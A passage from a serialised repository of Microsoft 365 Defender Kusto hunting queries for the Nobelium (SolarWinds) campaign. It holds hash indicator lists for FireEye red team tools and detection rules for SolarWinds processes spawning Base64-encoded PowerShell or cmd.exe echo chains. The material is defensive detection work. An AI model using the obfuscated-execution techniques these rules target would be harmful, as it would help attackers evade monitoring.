bad4d72235a2',\n'ad5bff008e0e270d19eaa7e211b1c821d4091b68',\n'7f308945c4904ef168bbf57c86e56c8a3f836a2e',\n'74fc338bbab1a1f42699165c588dc91639d0343b',\n'4f3ec6a4af8fddf85a0f2933b6cabee44e74fe33',\n'41a491270ec2bd6d230be4d163c719e6d46265e7',\n'17e199488c301aad10861cdeb1ee5087d2c87517',\n'0225b06163d58bc55c6e4f6b451c5553dc9558c7',\n'f6bb18873580f645c09758fda398655ce5e3eff3',\n'2933c394fa06892dbd1ce2937b4c2344e8239ef8',\n'a6119a5c321b2755bffdb4919d910a18b0613842',\n'86e975d05de96e0ea088ffdde9993f9247f0ee03',\n'3248ac428a7c888723398a5c2535b5b95f550754',\n'b1b5dbea32917b7db654dc193de98b840abdbcb5',\n'004809dcd28c0cf078d65cc11a478d50cb3cba0d'\n    ]\n);\nlet SHA256Hash = dynamic(\n    [\n'77bdcb2a9873c4629d8675c8ce9cc8a0cf35c514e27f7a6dc2bc4b31f79dd9e2',\n'f937aa71e0b1cb3f9a4d5c0e8ffa4f383b781dd878e71e4b73c1f084b4a7e6de',\n'8469341f65cc42b86ef7ded04eca8a00266f34d6d2916330af1bf40fb69e26f0',\n'd3ca5583c98a4ab0cc65773addd3444435eea13e70e3929629535f14dfe8b63b',\n'2051f5d7c79e67a02880ca9f2fc0cdf4fa8827fc515f16baa743193c9b178ba0',\n'4ce2df07fecdc7f7852c686440e3b421c159d8fc382481ce70165a77741fb2c4',\n'9e170d1146efeee09f888c7b1bbfb10dec3ede9cc0b20b6b137c52dd146fd302',\n'2b7a2703e77cb735fae7b90bbd5a2fa481aea1c34c3fb7bfada61cbcebb35efc',\n'd0b6413c3dabe564435291b65f28119ad5a9c1fabc05ee48820f728740cb1a03',\n'4be84a291b6c6a5f019c1c6b1ceff3b4bc3668d5874b1a423838a57560788158',\n'79f2cd2009fe104e5ed6ad25d0ba06b10fb7c0983e88beab27e55b78cd2a5300',\n'c4bb5b85710d7e78e82a57eb2ac2c8f7796972bada1ddc6af7ae6d318bc87aa3',\n'a9827ea4e45194c65a3ff6cf03345b16bd24047165bd91d4595caae8488529db',\n'59a4ae454be71f8a036a7b4c74ae40f4ca6e7105dabfabb4637e87b7a9afb51d',\n'fe33146518676279692217e32f8c36a9749d705981e672ebbde79c80b32dd8b7',\n'6e1c976151313a24fbd1f620a0a2c66aaf5489d44b8153eb12e789bfbea3731f',\n'5751ac3b127f6c8cf251d995ac6254f8999ab227dd6da870f1e0249b3ce56bb6',\n'964efc495e4e1a2075fcd48a661166fb8df81d81d8ac2c26768325dc15da7f70',\n'd9882283ee2dc487c2a5fb97f8067051c259c4721cd4aea8c435302fe6b274c4',\n'c11d6bdda1972a2f538f0daea099df17ce76077098b9f3f72459cf7db1ec5ec6',\n'178dc666df641f4f1f184d54c7bcac4764e81bb1c3b03a7207b321660c77770b',\n'5756a54a1d9ae74df58008048c6042e7254cc7eed0389f556db3f000cb191000',\n'c828558c67601c94511720748a49703b09814bcd21be2caa98b36faa445e19db',\n'a57112c53bf2ee334a6d01b39cb43ec8de42ba18ea925d55132567274b742ce6',\n'6e05bebdc38c4bd34c83d2ca6b954ce84c87ed78fd0d932576593a3ad710e3c3',\n'25e755c8957163376b3437ce808843c1c2598e0fb3c5f31dc958576cd5cde63e',\n'8e16cd7d498eb69d7b3e079e1353e0df6eec70a845986475d7cf65a6740b4434',\n'44f3c63c1f6414f2c3e602a57ba38f340287fe2acc15ff0c88dca503c67b1a0c',\n'fe664bb9dc2976d6d2ccc07582b5c5eb85b896cc439a9af91db7e51b1c905bdb',\n'3805caa8e426a6f7d7d3ce9c87ce188b20185b134d936a69b9d51125b1264dea',\n'40db7affc23dcaf88c288d6a918b6371a45dcfa16e08543e9442d4d952a9ecc4',\n'4878d5d7933e096305c70c83499b84893b6bd0dbe226e16ea90430efeb8b8593',\n'faf76f9e66c7392cddbe7bcc73b00dc2ca2d8d1da6f46f5686dadc2e0a559acb',\n'09b1003b673b559c3599dcb9250112bd3a602602f2836b54d5d7cdd1c4c4e6f2',\n'3f1d22893c626346f8d361076bc66797d55b09a959ec0d36ec3d48048983f138',\n'652d3717353df8fc3145ecc9f2c871034a58f2519bdd0c70a72a3d8c88bad48c',\n'078403b4e89ff06d2fe2ed7e75428a381f83ffb708dbd01b0220767498947f0c',\n'82cce26c60a5105e6caf5ac92eabb3dedcd883cd075f2056f27b0ec58aefaaa6',\n'4d004d168b0bb9bed836404e850796173ac27efd8489738394a265478224cf27',\n'6652e27ad1bf5002665b2d0821e75092a087103408560682295f90706a3289cb',\n'b051ee189faf36e2d6c382fede530e9274b42bc9c42e210b4ee1bc84b0419ba6',\n'0340043481091d92dcfb2c498aad3c0afca2fd208ef896f65af790cc147f8891',\n'bfe88e7986fbf27db90f18959a0b1e237b6f0395fa11b9eb386e5bac143c1d2d',\n'7404a08ecc0aa0d84f039d078ad39804856206ae58dde360238d4a1943557333',\n'efb533249f71ea6ebfb6418bb67c94e8fbd5f2a26cbd82ef8ec1d30c0c90c6c1',\n'73233ca7230fb5848e220723caa06d795a14c0f1f42c6a59482e812bfb8c217f',\n'9a84cb10b7ba0b96eea473900d58052511af7b235383b6a496dffab9b982d20d',\n'9af4272d6cc0e926f74ccf68d0a4d056eb37059214c312ef3628bca45a7d76cf',\n'b262d0c81ac5a13c1a6aa650d1ca7b04117f654a2a97bfe7ac4a7ca8ae9a6ed5',\n'432010e6d7a42710b10464e440fa4e2df2bb387839d56a5b371727dc6c3da272',\n'b58de9beaf70bfd12cd6fb372f52eff5405f96602c22034a80ef01b4f9e2ded4',\n'5f0bc27c272937e3ef788c290939481137148c1c5c70dbb7d1fb13cb22e3e2c1',\n'7b59090b78127381593460ccea2ea64d6c5838cd8cb0e97c5e436ae58e69cdee',\n'e7046b7eac25ceb5274c815aba4384099524eacf9aed683179aa29ac5f45ede8',\n'38c1cab0a8c9870f2cc7cfa5f3f782c0bb8ede94ce89a41a5e9509a79d7fdf5e',\n'393cd1ecf955d6938f9a9ba65808a209e7741e2fd17baa91e4960aca799be86f',\n'681b1b85a0f8a7ede2c6bf8c71ad4cb56ccc4e1bb400783c93ee9b5ab76d3da6',\n'd104de2912949e598f12b2b517bdbec17896cee8305766e72bbb4e604205b2b4',\n'eb7bada29bcf4c6b94f7ab710a8a6702f26845c9678826ff0dfc7494a5e8186d',\n'4a5f1df73581c531e62e73fe1ab374d1d93b3846d8e6b80833fd295e0fbc23f1',\n'895d49db09b64f15782073d4ff4a0fe21cd91f9b9fa9902053278799313b13b1',\n'99b622046fb5e122a6f2dadad0858cdd1056582701fb0968c57ec6171dc4c0ee',\n'8f79942feb0c8533ce01f867902f4a72d328681249fd474b0215e9d9b4477f67',\n'948f9fc9b5979fb66e91964bb2bee0b42b7e8f6b6436188fee9fb69b676d2f42',\n'356266255b6aa6ba096cd8048a6a43488ffc21845430d7d0f798fd9022879377',\n'4e35c7d135bd7f55cdec68d7acf176ae84b850e927fdffb005e000fef5b35a21',\n'609aa1b6ebbeb93a76898219ad470832c4dd838fb3214989841af8b90fcef695',\n'5e0fb8cab745678487ac1ed99b5ec2fa2d54a65cbf0e2cb9208785200f2c2b8b',\n'aa4349b6531544093c4dbc1d2a7b8680d3308cbde313a38c27cd211dd80ee9d1',\n'f0a59a724ee6631b7f2ae88aa9ec7c24a82f8c912512352d93d058a928c33c70',\n'1cf5710e500a423b84b51fa3afdd923fe0a8255c5817d3238175623e2ebbfad9',\n'959be603c11951ead9c13efd0451ba23e743ec3019562f7715c5b0306ae70537',\n'0cb570e4e5229dbe488bba92f57b5951a69335dd625aa6ada0ccb34c918613b2',\n'60d3a8c8a7e8bdb67a44ad4f220e52593bf46d2ce6e8d40b6db9045c68cee413',\n'71b11d28dec1dadc738c4b993dba32e3c33a85421de66120be62f3ec0ed50c3e',\n'b6ef03aec5d10e371f0b06c661036d838ef55fa7dc75cf91fca3622bdefa8140',\n'791cb9883187ada5274c976a2e05dc756c48eda88fabdfe2eb7e19f59f0182e5',\n'1ba2ef33e69d6bc03ba02a68ecd701b1eee6a33aabd44509e3b344d0948cf9f4',\n'1353ffc96e0a701fa8b3dc2835a8be6199e3c8f079663ebffb6b665750ef8af9',\n'2effc706d002ebf5c18160ba1cec9f88adbc4a36a3daaf5dbacc8c0dd6ad46b6',\n'd13ec5610c22bad31a47b59791b6e964d4703b4019094fd44c8151ee802db7ea',\n'3ac5a8f9f2f80b7a8b5267a5cd523dd449b2de5ccb7b30e448ef0dcfc8995506',\n'c0621954bd329b5cabe45e92b31053627c27fa40853beb2cce2734fa677ffd93',\n'899ad5af2b4ad14fa58612dc2938598ac7e892d759659aef87e4db46d70f62bf',\n'e1d466b44e0dffafe4a2d0ebade37ea5f9b6a30ccf16f59d4d2e32f9204a03f8',\n'a022820a62198fa3e3b89749b38db1cc3a09136524682fb99a3ce36652725065',\n'3c9a7aa8cc4fd0538532e757a756709897c94b2653152a40993c7d0a47503980',\n'6c8f967b12cf84eed7b8c039e04614e50cd7fcd8ca9e01563bb6f5f0a11dcb8c',\n'bb4229d4fe06209fc7c8ed44da8f353dcb980b5f1a5229c7e1f17b772ff8fd8c',\n'e2f7afedf6dbeaeae60a1434a8735acd426087fd16689b29b869ebe88cdbef85',\n'504be292cf783ce6cb0c356034e69b76a465ec534386a776663810266d64da33',\n'42389f51dc60590c2daab696e8782c3f4dd9f9a4c98a3b987e10d43174deba38',\n'eec42b1fb5275eaf3e0229db99421e2b16a3c82bb64da3305662622dc2d6e07a',\n'33b8b7198b8e9a24b415d280d673cfa4efe4d249ac9e21703a61c65dc0933d74',\n'c91e8e5c2491f7708c4e550c18acab121e1b245ade7b2abb79cdd25b8a9cf379',\n'b292ae784ab91b99cc2b8f5cc173813cdb52fb75c6dab85bd1ce05a244b85fca',\n'629c0a325f24016534ebc2e0578068593ca883557f8c10cc1ae4d5b0ab91bfec',\n'bc6d23e865cdbc4d57451e80797be2b2feff531ca2743c533e5d114c3a19433d',\n'7b1e06cf7c362e62b156652b069a4ca1800e0ab72730636f64cc24dabd3830a8',\n'cc9da7fce451e409a4d994b4675db6a3651a551b9a004461d14a3d3532765d84'\n    ]\n);\nDeviceFileEvents\n| where SHA1 in(SHA1Hash) or SHA256 in(SHA256Hash) or MD5 in(MD5Hash)\n| union DeviceImageLoadEvents\n| where SHA1 in(SHA1Hash) or SHA256 in(SHA256Hash) or MD5 in(MD5Hash)\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](./compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](./fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](./known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](./launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](./launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](./locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](./locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](./possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Dario Brambilla\n**GitHub alias:** darioongit\n**Organization:** Microsoft 365 Defender\n"
  },
  {
    "path": "Campaigns/known-affected-software-orion[Nobelium].md",
    "content": "# View data on software identified as affected by Nobelium campaign\n\nThis query was originally published in the threat analytics report, *Solorigate supply chain attack*. Please note that these attacks are currently known as the *Nobelium campaign*.\n\nMicrosoft detects the [2020 SolarWinds supply chain attack](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/) implant and its other components as part of a campaign by the Nobelium activity group. Nobelium is the threat actor behind the attack against SolarWinds, which was previously referred to as [*Solorigate*](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/).\n\n Nobelium silently added malicious code to legitimate software updates for Orion, which is IT monitoring software provided by SolarWinds. In this way, malicious dynamic link libraries (DLLs) were distributed to SolarWinds customers.\n\nThe following query searches Threat and Vulnerability Management (TVM) data for Orion software known to be affected by the Nobelium campaign.\n\nMore Nobelium-related queries can be found listed under the [See also](#see-also) section of this document.\n\n## Query\n\n```kusto\nDeviceTvmSoftwareVulnerabilities\n| where CveId == 'TVM-2020-0002'\n| project DeviceId, DeviceName, SoftwareVendor, SoftwareName, SoftwareVersion\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](./compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](./fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](./fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](./launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](./launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](./locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](./locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](./possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/launching-base64-powershell[Nobelium].md",
    "content": "# Locate SolarWinds processes launching suspicious PowerShell commands\n\nThis query was originally published in the threat analytics report, *Solorigate supply chain attack*. Please note that these attacks are currently known as the *Nobelium campaign*.\n\nMicrosoft detects the [2020 SolarWinds supply chain attack](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/) implant and its other components as part of a campaign by the Nobelium activity group. Nobelium is the threat actor behind the attack against SolarWinds, which was previously referred to as [*Solorigate*](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/).\n\nNobelium silently added malicious code to legitimate software updates for Orion, which is IT monitoring software provided by SolarWinds. In this way, malicious dynamic link libraries (DLLs) were distributed to SolarWinds customers.\n\nThe following query detects events when SolarWinds processes launched PowerShell commands that were possibly encoded in Base64. Attackers may encode PowerShell commands in Base64 to obfuscate malicious activity.\n\nMore Nobelium-related queries can be found listed under the [See also](#see-also) section of this document.\n\n## Query\n\n```kusto\nDeviceProcessEvents\n| where InitiatingProcessFileName =~ \"SolarWinds.BusinessLayerHost.exe\"\n| where FileName =~ \"powershell.exe\"\n// Extract base64 encoded string, ensure valid base64 length\n| extend base64_extracted = extract('([A-Za-z0-9+/]{20,}[=]{0,3})', 1, ProcessCommandLine)\n| extend base64_extracted = substring(base64_extracted, 0, (strlen(base64_extracted) / 4) * 4)\n| extend base64_decoded = replace(@'\\0', '', make_string(base64_decode_toarray(base64_extracted)))\n//\n| where notempty(base64_extracted) and base64_extracted matches regex '[A-Z]' and base64_extracted matches regex '[0-9]'\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](./compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](./fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](./fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](./known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](./launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](./locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](./locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](./possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/launching-cmd-echo[Nobelium].md",
    "content": "# Locate SolarWinds processes launching command prompt with the echo command\n\nThis query was originally published in the threat analytics report, *Solorigate supply chain attack*. Please note that these attacks are currently known as the *Nobelium campaign*.\n\nMicrosoft detects the [2020 SolarWinds supply chain attack](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/) implant and its other components as part of a campaign by the Nobelium activity group. Nobelium is the threat actor behind the attack against SolarWinds, which was previously referred to as [*Solorigate*](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/).\n\nNobelium silently added malicious code to legitimate software updates for Orion, which is IT monitoring software provided by SolarWinds. In this way, malicious dynamic link libraries (DLLs) were distributed to SolarWinds customers.\n\nThe following query detects events when SolarWinds processes attempted to launch the [cmd.exe](https://docs.microsoft.com/windows-server/administration/windows-commands/cmd) command prompt using the `echo` command. Using `echo` in this way is suspicious, as it is an indirect way of issuing commands, and may not be readily detected by certain kinds of security solutions.\n\nMore Nobelium-related queries can be found listed under the [See also](#see-also) section of this document.\n\n## Query\n\n```kusto\nDeviceProcessEvents\n| where InitiatingProcessFileName =~ \"SolarWinds.BusinessLayerHost.exe\"\n| where FileName == \"cmd.exe\" and ProcessCommandLine has \"echo\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](./compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](./fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](./fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](./known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](./launching-base64-powershell[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](./locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](./locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](./possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
